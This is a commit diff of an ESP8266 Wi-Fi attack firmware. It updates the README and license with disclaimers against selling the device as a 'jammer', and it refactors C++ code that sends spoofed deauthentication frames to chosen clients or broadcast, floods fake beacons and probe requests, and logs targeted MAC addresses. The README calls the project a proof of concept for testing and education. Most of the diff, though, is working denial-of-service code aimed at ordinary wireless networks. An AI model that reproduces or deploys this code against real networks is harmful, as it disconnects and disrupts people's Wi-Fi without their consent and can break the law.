version 1.4
- changed webinterface design - improved error handling - can add clients manually - added settings reset via console command "reset" and GPIO 4 - improved default settings for more stability - added warning at the beginning - added info page
2
LICENSE
@@ -12,6 +12,8 @@ furnished to do so, subject to the following conditions:
|
|||||||
The above copyright notice and this permission notice shall be included in all
|
The above copyright notice and this permission notice shall be included in all
|
||||||
copies or substantial portions of the Software.
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
|||||||
35
README.md
@@ -5,6 +5,16 @@ Deauthentication attack and other hacks using an ESP8266.
|
|||||||
|
|
||||||
[](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=RCHANSVSX9M8C)
|
[](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=RCHANSVSX9M8C)
|
||||||
|
|
||||||
|
**Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!**
|
||||||
|
|
||||||
|
I disabled the issue section because of the flood of invalid questions, unrelated to this project.
|
||||||
|
All necessary information is described below. Do not open issues about this project on any other of my projects, otherwise you will be blocked immediately!
|
||||||
|
|
||||||
|
**This project is a proof of concept for testing and education.**
|
||||||
|
Neither the ESP8266, nor the SDK was meant and build for such purposes.
|
||||||
|
Bugs can occur!
|
||||||
|
|
||||||
|
|
||||||
## Contents
|
## Contents
|
||||||
- [Introduction](#introduction)
|
- [Introduction](#introduction)
|
||||||
- [What it is](#what-it-is)
|
- [What it is](#what-it-is)
|
||||||
@@ -12,13 +22,13 @@ Deauthentication attack and other hacks using an ESP8266.
|
|||||||
- [What an ESP8266 is](#what-an-esp8266-is)
|
- [What an ESP8266 is](#what-an-esp8266-is)
|
||||||
- [How to protect against it](#how-to-protect-against-it)
|
- [How to protect against it](#how-to-protect-against-it)
|
||||||
- [Disclaimer](#disclaimer)
|
- [Disclaimer](#disclaimer)
|
||||||
|
- [Videos](#videos)
|
||||||
- [Installation](#installation)
|
- [Installation](#installation)
|
||||||
- [Uploading the bin files](#uploading-the-bin-files)
|
- [Uploading the bin files](#uploading-the-bin-files)
|
||||||
- [Compiling the source with Arduino](#compiling-the-source-with-arduino)
|
- [Compiling the source with Arduino](#compiling-the-source-with-arduino)
|
||||||
- [Adding OLED display](#adding-oled-display)
|
- [Adding OLED display](#adding-oled-display)
|
||||||
- [How to use it](#how-to-use-it)
|
- [How to use it](#how-to-use-it)
|
||||||
- [FAQ](#faq)
|
- [FAQ](#faq)
|
||||||
- [Videos](#videos)
|
|
||||||
- [License](#license)
|
- [License](#license)
|
||||||
- [Sources and additional links](#sources-and-additional-links)
|
- [Sources and additional links](#sources-and-additional-links)
|
||||||
|
|
||||||
@@ -62,10 +72,22 @@ I don't take any responsibility for what you do with this program.
|
|||||||
Please check the legal regulations in your country before using it.
|
Please check the legal regulations in your country before using it.
|
||||||
**It is not a jammer device as claimed falsely by many people.** Its attack, how it works and how to protect against it is described above. It uses valid Wi-Fi frames described in the official 802.11 standard and doesn't block any communications on any frequency.
|
**It is not a jammer device as claimed falsely by many people.** Its attack, how it works and how to protect against it is described above. It uses valid Wi-Fi frames described in the official 802.11 standard and doesn't block any communications on any frequency.
|
||||||
|
|
||||||
|
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!
|
||||||
|
|
||||||
My intention with this project is to draw more attention to this issue.
|
My intention with this project is to draw more attention to this issue.
|
||||||
This attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
|
This attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
|
||||||
**A solution is already there, why don’t we use it?**
|
**A solution is already there, why don’t we use it?**
|
||||||
|
|
||||||
|
## Videos
|
||||||
|
|
||||||
|
[](https://www.youtube.com/watch?v=oQQhBdCQOTM)
|
||||||
|
|
||||||
|
[](https://www.youtube.com/watch?v=r5aoV5AolNo)
|
||||||
|
|
||||||
|
[](https://www.youtube.com/watch?v=SswI-J-M2SE)
|
||||||
|
|
||||||
|
[](https://www.youtube.com/watch?v=MOscKnm8IcY)
|
||||||
|
|
||||||
## Installation
|
## Installation
|
||||||
|
|
||||||
The only thing you will need is a computer and an ESP8266.
|
The only thing you will need is a computer and an ESP8266.
|
||||||
@@ -235,21 +257,12 @@ If it can send packets but your target doesn't loose its connection, then the Wi
|
|||||||
|
|
||||||
### If you have other questions or problems with the ESP8266 you can also check out the official [community forum](http://www.esp8266.com/).
|
### If you have other questions or problems with the ESP8266 you can also check out the official [community forum](http://www.esp8266.com/).
|
||||||
|
|
||||||
## Videos
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=oQQhBdCQOTM)
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=r5aoV5AolNo)
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=SswI-J-M2SE)
|
|
||||||
|
|
||||||
[](https://www.youtube.com/watch?v=MOscKnm8IcY)
|
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
This project is licensed under the MIT License - see the [license file](LICENSE) file for details.
|
This project is licensed under the MIT License - see the [license file](LICENSE) file for details.
|
||||||
|
|
||||||
**The License file must be included in any redistributed version of this program!**
|
**The License file must be included in any redistributed version of this program!**
|
||||||
|
Any redistributing, advertising or selling of this project as "jammer" without clearly stating it as a pentesting device for testing purposes only, is prohibited!
|
||||||
|
|
||||||
## Sources and additional links
|
## Sources and additional links
|
||||||
|
|
||||||
|
|||||||
@@ -251,6 +251,11 @@ void APScan::sort() {
|
|||||||
tmpC = selected[h];
|
tmpC = selected[h];
|
||||||
selected[h] = selected[h + 1];
|
selected[h] = selected[h + 1];
|
||||||
selected[h + 1] = tmpC;
|
selected[h + 1] = tmpC;
|
||||||
|
|
||||||
|
Mac tmpMac = aps._get(h);
|
||||||
|
aps.set(h,aps._get(h+1));
|
||||||
|
aps.set(h+1,tmpMac);
|
||||||
|
|
||||||
} else Serial.println((String)rssi[h] + " < " + (String)rssi[h + 1]);
|
} else Serial.println((String)rssi[h] + " < " + (String)rssi[h + 1]);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -258,13 +263,14 @@ void APScan::sort() {
|
|||||||
|
|
||||||
void APScan::select(int num) {
|
void APScan::select(int num) {
|
||||||
if (debug) Serial.println("select " + (String)num + " - " + !selected[num]);
|
if (debug) Serial.println("select " + (String)num + " - " + !selected[num]);
|
||||||
if (selected[num]) {
|
if(!settings.multiAPs){
|
||||||
selected[num] = false;
|
for (int i = 0; i < maxAPScanResults; i++){
|
||||||
selectedSum--;
|
if(i != num) selected[i] = false;
|
||||||
} else {
|
|
||||||
selected[num] = true;
|
|
||||||
selectedSum++;
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
selected[num] = !selected[num];
|
||||||
|
if (selected[num]) selectedSum--;
|
||||||
|
else selectedSum++;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool APScan::isSelected(int num) {
|
bool APScan::isSelected(int num) {
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ Attack::Attack() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void Attack::generate() {
|
void Attack::generate() {
|
||||||
if (debug) Serial.print("\n generating Macs...");
|
if (debug) Serial.print("\n generating MACs...");
|
||||||
|
|
||||||
Mac _randomBeaconMac;
|
Mac _randomBeaconMac;
|
||||||
uint8_t _randomMacBuffer[6];
|
uint8_t _randomMacBuffer[6];
|
||||||
@@ -114,6 +114,20 @@ bool Attack::send() {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void Attack::sendDeauths(Mac from, Mac to){
|
||||||
|
for(int i=0;i<settings.attackPacketRate;i++){
|
||||||
|
buildDeauth(from, to, 0xc0, settings.deauthReason );
|
||||||
|
if(send()) packetsCounter[0]++;
|
||||||
|
buildDeauth(from, to, 0xa0, settings.deauthReason );
|
||||||
|
send();
|
||||||
|
buildDeauth(to, from, 0xc0, settings.deauthReason );
|
||||||
|
send();
|
||||||
|
buildDeauth(to, from, 0xa0, settings.deauthReason );
|
||||||
|
send();
|
||||||
|
delay(5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
void Attack::run() {
|
void Attack::run() {
|
||||||
unsigned long currentMillis = millis();
|
unsigned long currentMillis = millis();
|
||||||
|
|
||||||
@@ -131,11 +145,11 @@ void Attack::run() {
|
|||||||
wifi_set_channel(_ch);
|
wifi_set_channel(_ch);
|
||||||
|
|
||||||
int _selectedClients = 0;
|
int _selectedClients = 0;
|
||||||
|
|
||||||
for (int i = 0; i < clientScan.results; i++) {
|
for (int i = 0; i < clientScan.results; i++) {
|
||||||
if (clientScan.getClientSelected(i)) {
|
if (clientScan.getClientSelected(i)) {
|
||||||
_selectedClients++;
|
_selectedClients++;
|
||||||
|
/*if (settings.channelHop) {
|
||||||
if (settings.channelHop) {
|
|
||||||
for (int j = 1; j < maxChannel; j++) {
|
for (int j = 1; j < maxChannel; j++) {
|
||||||
wifi_set_channel(j);
|
wifi_set_channel(j);
|
||||||
|
|
||||||
@@ -145,47 +159,16 @@ void Attack::run() {
|
|||||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
||||||
if (send()) packetsCounter[0]++;
|
if (send()) packetsCounter[0]++;
|
||||||
}
|
}
|
||||||
} else {
|
} else {*/
|
||||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
|
sendDeauths(_ap, clientScan.getClientMac(i));
|
||||||
for (int h = 0; h < settings.attackPacketRate; h++) {
|
//}
|
||||||
if (send()) {
|
|
||||||
packetsCounter[0]++;
|
|
||||||
delay((950 / (settings.attackPacketRate * clientScan.selectedResults)) / 2 - 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
|
||||||
for (int h = 0; h < settings.attackPacketRate; h++) {
|
|
||||||
if (send()) {
|
|
||||||
packetsCounter[0]++;
|
|
||||||
delay((950 / (settings.attackPacketRate * clientScan.selectedResults)) / 2 - 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (_selectedClients == 0) {
|
if (_selectedClients == 0) {
|
||||||
Mac _client;
|
Mac _client;
|
||||||
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
|
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
|
||||||
|
sendDeauths(_ap, _client);
|
||||||
if (settings.channelHop) {
|
|
||||||
for (int j = 1; j < maxChannel; j++) {
|
|
||||||
wifi_set_channel(j);
|
|
||||||
|
|
||||||
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
|
|
||||||
if (send()) packetsCounter[0]++;
|
|
||||||
|
|
||||||
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
|
|
||||||
if (send()) packetsCounter[0]++;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
buildDeauth(_ap, _client, 0xc0, settings.deauthReason );
|
|
||||||
for (int h = 0; h < settings.attackPacketRate; h++) if (send()) packetsCounter[0]++;
|
|
||||||
|
|
||||||
buildDeauth(_ap, _client, 0xa0, settings.deauthReason );
|
|
||||||
for (int h = 0; h < settings.attackPacketRate; h++) if (send()) packetsCounter[0]++;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -200,44 +183,20 @@ void Attack::run() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* =============== Beacon clone Attack =============== */
|
/* =============== Beacon list Attack =============== */
|
||||||
if (isRunning[1] && currentMillis - prevTime[1] >= 100) {
|
if (isRunning[1] && currentMillis - prevTime[1] >= 100) {
|
||||||
if (debug) Serial.print("running " + (String)attackNames[1] + " attack...");
|
if (debug) Serial.print("running " + (String)attackNames[1] + " attack...");
|
||||||
prevTime[1] = millis();
|
prevTime[1] = millis();
|
||||||
|
|
||||||
for (int a = 0; a < apScan.results; a++) {
|
for (int a = 0; a < ssidList.len; a++) {
|
||||||
if (apScan.isSelected(a) && !apScan.isHidden(a)) {
|
String _ssid = ssidList.get(a);
|
||||||
String _ssid = apScan.getAPName(a);
|
int _ch = channels[a];
|
||||||
int _ssidLen = _ssid.length();
|
|
||||||
int _restSSIDLen = 32 - _ssidLen;
|
|
||||||
//int _ch = apScan.getAPChannel(a);
|
|
||||||
|
|
||||||
//wifi_set_channel(_ch);
|
buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);
|
||||||
|
|
||||||
for (int c = 0; c < macListLen / apScan.selectedSum; c++) {
|
|
||||||
String _apName = _ssid;
|
|
||||||
int _ch = channels[c];
|
|
||||||
|
|
||||||
if (c < _restSSIDLen) for (int d = 0; d < _restSSIDLen - c; d++) _apName += " "; //e.g. "SAMPLEAP "
|
|
||||||
else if (c < _restSSIDLen * 2) {
|
|
||||||
_apName = " " + _apName;
|
|
||||||
for (int d = 0; d < (_restSSIDLen - 1) - c / 2; d++) _apName += " "; //e.g. " SAMPLEAP "
|
|
||||||
} else if (c < _restSSIDLen * 3) {
|
|
||||||
_apName = "." + _apName;
|
|
||||||
for (int d = 0; d < (_restSSIDLen - 1) - c / 3; d++) _apName += " "; //e.g. ".SAMPLEAP "
|
|
||||||
} else {
|
|
||||||
for (int d = 0; d < _restSSIDLen - 2; d++) _apName += " ";
|
|
||||||
_apName += (String)c;//e.g. "SAMPLEAP 78"
|
|
||||||
}
|
|
||||||
|
|
||||||
buildBeacon(beaconAdrs._get(c), _apName, _ch, apScan.getAPEncryption(a) != "none");
|
|
||||||
|
|
||||||
if (send()) packetsCounter[1]++;
|
if (send()) packetsCounter[1]++;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
stati[1] = (String)(packetsCounter[1] * 10) + "pkts/s";
|
stati[1] = (String)(packetsCounter[1] * 10) + "pkts/s";
|
||||||
packetsCounter[1] = 0;
|
packetsCounter[1] = 0;
|
||||||
macListChangeCounter++;
|
macListChangeCounter++;
|
||||||
@@ -252,55 +211,27 @@ void Attack::run() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* =============== Beacon list Attack =============== */
|
/* =============== Probe Request Attack =============== */
|
||||||
if (isRunning[2] && currentMillis - prevTime[2] >= 100) {
|
if (isRunning[2] && currentMillis - prevTime[2] >= 1000) {
|
||||||
if (debug) Serial.print("running " + (String)attackNames[2] + " attack...");
|
if (debug) Serial.print("running " + (String)attackNames[2] + " attack...");
|
||||||
prevTime[2] = millis();
|
prevTime[2] = millis();
|
||||||
|
|
||||||
for (int a = 0; a < ssidList.len; a++) {
|
for (int a = 0; a < ssidList.len; a++) {
|
||||||
String _ssid = ssidList.get(a);
|
buildProbe(ssidList.get(a), beaconAdrs._get(a));
|
||||||
int _ch = channels[a];
|
|
||||||
|
|
||||||
buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);
|
|
||||||
|
|
||||||
if (send()) packetsCounter[2]++;
|
if (send()) packetsCounter[2]++;
|
||||||
}
|
}
|
||||||
|
|
||||||
stati[2] = (String)(packetsCounter[2] * 10) + "pkts/s";
|
stati[2] = (String)(packetsCounter[2] * 10) + "pkts/s";
|
||||||
packetsCounter[2] = 0;
|
packetsCounter[2] = 0;
|
||||||
macListChangeCounter++;
|
macListChangeCounter++;
|
||||||
if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
|
|
||||||
generate();
|
|
||||||
macListChangeCounter = 0;
|
|
||||||
}
|
|
||||||
if (debug) Serial.println(" done");
|
|
||||||
if (settings.attackTimeout > 0) {
|
|
||||||
attackTimeoutCounter[2]++;
|
|
||||||
if (attackTimeoutCounter[2] / 10 > settings.attackTimeout) stop(2);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* =============== Probe Request Attack =============== */
|
|
||||||
if (isRunning[3] && currentMillis - prevTime[3] >= 1000) {
|
|
||||||
if (debug) Serial.print("running " + (String)attackNames[3] + " attack...");
|
|
||||||
prevTime[3] = millis();
|
|
||||||
|
|
||||||
for (int a = 0; a < ssidList.len; a++) {
|
|
||||||
buildProbe(ssidList.get(a), beaconAdrs._get(a));
|
|
||||||
if (send()) packetsCounter[3]++;
|
|
||||||
}
|
|
||||||
|
|
||||||
stati[3] = (String)(packetsCounter[3] * 10) + "pkts/s";
|
|
||||||
packetsCounter[3] = 0;
|
|
||||||
macListChangeCounter++;
|
|
||||||
if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
|
if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
|
||||||
generate();
|
generate();
|
||||||
macListChangeCounter = 0;
|
macListChangeCounter = 0;
|
||||||
}
|
}
|
||||||
if (debug) Serial.println("done");
|
if (debug) Serial.println("done");
|
||||||
if (settings.attackTimeout > 0) {
|
if (settings.attackTimeout > 0) {
|
||||||
attackTimeoutCounter[3]++;
|
attackTimeoutCounter[2]++;
|
||||||
if (attackTimeoutCounter[3] > settings.attackTimeout) stop(3);
|
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -308,26 +239,19 @@ void Attack::run() {
|
|||||||
|
|
||||||
void Attack::start(int num) {
|
void Attack::start(int num) {
|
||||||
Serial.println(num);
|
Serial.println(num);
|
||||||
if (!isRunning[num]) {
|
if(!isRunning[num]) {
|
||||||
Serial.println(num);
|
Serial.println(num);
|
||||||
isRunning[num] = true;
|
isRunning[num] = true;
|
||||||
stati[num] = "starting";
|
stati[num] = "starting";
|
||||||
prevTime[num] = millis();
|
prevTime[num] = millis();_log(num);
|
||||||
attackTimeoutCounter[num] = 0;
|
attackTimeoutCounter[num] = 0;
|
||||||
refreshLed();
|
refreshLed();
|
||||||
if (debug) Serial.println("starting " + (String)attackNames[num] + " attack...");
|
if (debug) Serial.println("starting " + (String)attackNames[num] + " attack...");
|
||||||
if (num == 0) attackMode = "STOP";
|
if (num == 0) attackMode = "STOP";
|
||||||
if (num == 1) {
|
for (int i = 0; i < attacksNum; i++){
|
||||||
stop(2);
|
if(i != num) stop(i);
|
||||||
stop(3);
|
|
||||||
} else if (num == 2) {
|
|
||||||
stop(1);
|
|
||||||
stop(3);
|
|
||||||
} else if (num == 3) {
|
|
||||||
stop(1);
|
|
||||||
stop(2);
|
|
||||||
}
|
}
|
||||||
} else stop(num);
|
}else stop(num);
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::stop(int num) {
|
void Attack::stop(int num) {
|
||||||
@@ -345,18 +269,31 @@ void Attack::stopAll() {
|
|||||||
for (int i = 0; i < attacksNum; i++) stop(i);
|
for (int i = 0; i < attacksNum; i++) stop(i);
|
||||||
}
|
}
|
||||||
|
|
||||||
String Attack::getResults() {
|
void Attack::_log(int num){
|
||||||
if (debug) Serial.print("getting attacks JSON...");
|
openLog();
|
||||||
|
addLog((String)attackNames[num]);
|
||||||
|
for(int a=0;a<apScan.results;a++){
|
||||||
|
if(apScan.isSelected(a)){
|
||||||
|
Mac _ap;
|
||||||
|
_ap.setMac(apScan.aps._get(a));
|
||||||
|
addLog(_ap.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
addLog("-");
|
||||||
|
for(int i=0;i<clientScan.results; i++) {
|
||||||
|
if(clientScan.getClientSelected(i)) {
|
||||||
|
addLog(clientScan.getClientMac(i).toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closeLog();
|
||||||
|
}
|
||||||
|
|
||||||
for (int i = 0; i < attacksNum; i++) if (!isRunning[i]) stati[i] = "ready";
|
size_t Attack::getSize(){
|
||||||
|
size_t jsonSize = 0;
|
||||||
|
|
||||||
if (apScan.getFirstTarget() < 0) stati[0] = stati[1] = "no AP";
|
String json = "{\"aps\":[";
|
||||||
if (ssidList.len < 1) stati[2] = stati[3] = "no SSID";
|
|
||||||
|
|
||||||
int _selected;
|
int _selected = 0;
|
||||||
String json = "{ \"aps\": [";
|
|
||||||
|
|
||||||
_selected = 0;
|
|
||||||
for (int i = 0; i < apScan.results; i++) {
|
for (int i = 0; i < apScan.results; i++) {
|
||||||
if (apScan.isSelected(i)) {
|
if (apScan.isSelected(i)) {
|
||||||
json += "\"" + apScan.getAPName(i) + "\",";
|
json += "\"" + apScan.getAPName(i) + "\",";
|
||||||
@@ -365,7 +302,9 @@ String Attack::getResults() {
|
|||||||
}
|
}
|
||||||
if (_selected > 0) json.remove(json.length() - 1);
|
if (_selected > 0) json.remove(json.length() - 1);
|
||||||
|
|
||||||
json += "], \"clients\": [";
|
jsonSize += json.length();
|
||||||
|
|
||||||
|
json = "],\"clients\":[";
|
||||||
|
|
||||||
_selected = 0;
|
_selected = 0;
|
||||||
for (int i = 0; i < clientScan.results; i++) {
|
for (int i = 0; i < clientScan.results; i++) {
|
||||||
@@ -377,29 +316,88 @@ String Attack::getResults() {
|
|||||||
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
||||||
else json.remove(json.length() - 1);
|
else json.remove(json.length() - 1);
|
||||||
|
|
||||||
json += "], \"attacks\": [";
|
jsonSize += json.length();
|
||||||
|
|
||||||
|
json = "],\"attacks\":[";
|
||||||
for (int i = 0; i < attacksNum; i++) {
|
for (int i = 0; i < attacksNum; i++) {
|
||||||
json += "{";
|
json += "{";
|
||||||
json += "\"name\": \"" + attackNames[i] + "\",";
|
json += "\"name\":\"" + attackNames[i] + "\",";
|
||||||
json += "\"status\": \"" + stati[i] + "\",";
|
json += "\"status\":\"" + stati[i] + "\",";
|
||||||
json += "\"running\": " + (String)isRunning[i] + "";
|
json += "\"running\":" + (String)isRunning[i] + "";
|
||||||
json += "}";
|
json += "}";
|
||||||
if (i != attacksNum - 1) json += ",";
|
if (i != attacksNum - 1) json += ",";
|
||||||
}
|
}
|
||||||
json += "],";
|
json += "],";
|
||||||
|
jsonSize += json.length();
|
||||||
|
|
||||||
json += "\"ssid\": [";
|
json = "\"ssid\":[";
|
||||||
|
jsonSize += json.length();
|
||||||
for (int i = 0; i < ssidList.len; i++) {
|
for (int i = 0; i < ssidList.len; i++) {
|
||||||
json += "\"" + ssidList.get(i) + "\"";
|
json = "\"" + ssidList.get(i) + "\"";
|
||||||
if (i != ssidList.len - 1) json += ",";
|
if (i != ssidList.len - 1) json += ",";
|
||||||
|
jsonSize += json.length();
|
||||||
}
|
}
|
||||||
json += "]";
|
|
||||||
|
json = "]}";
|
||||||
|
jsonSize += json.length();
|
||||||
|
|
||||||
|
return jsonSize;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Attack::sendResults(){
|
||||||
|
size_t _size = getSize();
|
||||||
|
if (debug) Serial.print("getting attacks JSON ("+(String)_size+")...");
|
||||||
|
sendHeader(200, "text/json", _size);
|
||||||
|
|
||||||
|
String json = "{\"aps\":[";
|
||||||
|
|
||||||
|
int _selected = 0;
|
||||||
|
for (int i = 0; i < apScan.results; i++) {
|
||||||
|
if (apScan.isSelected(i)) {
|
||||||
|
json += "\"" + apScan.getAPName(i) + "\",";
|
||||||
|
_selected++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (_selected > 0) json.remove(json.length() - 1);
|
||||||
|
sendToBuffer(json);
|
||||||
|
|
||||||
|
|
||||||
|
json = "],\"clients\":[";
|
||||||
|
|
||||||
|
_selected = 0;
|
||||||
|
for (int i = 0; i < clientScan.results; i++) {
|
||||||
|
if (clientScan.getClientSelected(i)) {
|
||||||
|
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
|
||||||
|
_selected++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
||||||
|
else json.remove(json.length() - 1);
|
||||||
|
|
||||||
|
sendToBuffer(json);
|
||||||
|
|
||||||
|
json = "],\"attacks\":[";
|
||||||
|
for (int i = 0; i < attacksNum; i++) {
|
||||||
|
json += "{";
|
||||||
|
json += "\"name\":\"" + attackNames[i] + "\",";
|
||||||
|
json += "\"status\":\"" + stati[i] + "\",";
|
||||||
|
json += "\"running\":" + (String)isRunning[i] + "";
|
||||||
json += "}";
|
json += "}";
|
||||||
if (debug) {
|
if (i != attacksNum - 1) json += ",";
|
||||||
Serial.println(json);
|
|
||||||
Serial.println("done");
|
|
||||||
}
|
}
|
||||||
return json;
|
json += "],\"ssid\":[";
|
||||||
|
sendToBuffer(json);
|
||||||
|
|
||||||
|
for (int i = 0; i < ssidList.len; i++) {
|
||||||
|
json = "\"" + ssidList.get(i) + "\"";
|
||||||
|
if (i != ssidList.len - 1) json += ",";
|
||||||
|
sendToBuffer(json);
|
||||||
|
}
|
||||||
|
json = "]}";
|
||||||
|
sendToBuffer(json);
|
||||||
|
|
||||||
|
sendBuffer();
|
||||||
|
if (debug) Serial.println("done");
|
||||||
}
|
}
|
||||||
|
|
||||||
void Attack::refreshLed() {
|
void Attack::refreshLed() {
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ extern "C" {
|
|||||||
#include "Settings.h"
|
#include "Settings.h"
|
||||||
#include "SSIDList.h"
|
#include "SSIDList.h"
|
||||||
|
|
||||||
#define attacksNum 4
|
#define attacksNum 3
|
||||||
#define macListLen 64
|
#define macListLen 64
|
||||||
#define macChangeInterval 4
|
#define macChangeInterval 4
|
||||||
|
|
||||||
@@ -24,6 +24,9 @@ extern void PrintHex8(uint8_t *data, uint8_t length);
|
|||||||
extern void getRandomVendorMac(uint8_t *buf);
|
extern void getRandomVendorMac(uint8_t *buf);
|
||||||
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
|
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
|
||||||
extern const bool debug;
|
extern const bool debug;
|
||||||
|
extern void addLog(String str);
|
||||||
|
extern void openLog();
|
||||||
|
extern void closeLog();
|
||||||
extern String attackMode;
|
extern String attackMode;
|
||||||
|
|
||||||
extern APScan apScan;
|
extern APScan apScan;
|
||||||
@@ -40,17 +43,21 @@ class Attack
|
|||||||
void start(int num);
|
void start(int num);
|
||||||
void stop(int num);
|
void stop(int num);
|
||||||
void stopAll();
|
void stopAll();
|
||||||
String getResults();
|
void sendResults();
|
||||||
|
size_t getSize();
|
||||||
void refreshLed();
|
void refreshLed();
|
||||||
private:
|
private:
|
||||||
|
|
||||||
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
|
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
|
||||||
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
|
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
|
||||||
|
void _log(int num);
|
||||||
void buildProbe(String _ssid, Mac _mac);
|
void buildProbe(String _ssid, Mac _mac);
|
||||||
bool send();
|
bool send();
|
||||||
|
|
||||||
|
void sendDeauths(Mac from, Mac to);
|
||||||
|
|
||||||
//attack declarations
|
//attack declarations
|
||||||
const String attackNames[attacksNum] = {"deauth", "beacon (clone)", "beacon (list)", "probe request"};
|
const String attackNames[attacksNum] = {"Deauth", "Beacon", "Probe-Request"};
|
||||||
|
|
||||||
//attack infos
|
//attack infos
|
||||||
String stati[attacksNum];
|
String stati[attacksNum];
|
||||||
|
|||||||
@@ -81,8 +81,18 @@ bool ClientScan::stop() {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int ClientScan::add(Mac adr){
|
||||||
|
int clientNum = clients.getNum(adr);
|
||||||
|
if (clientNum == -1 && results < maxClientScanResults) {
|
||||||
|
data_getVendor(adr._get(0), adr._get(1), adr._get(2)).toCharArray(vendors[results], 9);
|
||||||
|
connectedToAp[results] = -1;
|
||||||
|
results++;
|
||||||
|
int clientNum = clients.add(adr);
|
||||||
|
}
|
||||||
|
return clientNum;
|
||||||
|
}
|
||||||
|
|
||||||
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
|
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
|
||||||
int cliNbr;
|
|
||||||
if (sniffing && len > 27) {
|
if (sniffing && len > 27) {
|
||||||
from.set(buf[16], buf[17], buf[18], buf[19], buf[20], buf[21]);
|
from.set(buf[16], buf[17], buf[18], buf[19], buf[20], buf[21]);
|
||||||
to.set(buf[22], buf[23], buf[24], buf[25], buf[26], buf[27]);
|
to.set(buf[22], buf[23], buf[24], buf[25], buf[26], buf[27]);
|
||||||
@@ -90,15 +100,10 @@ void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
|
|||||||
for (int i = 0; i < apScan.results; i++) {
|
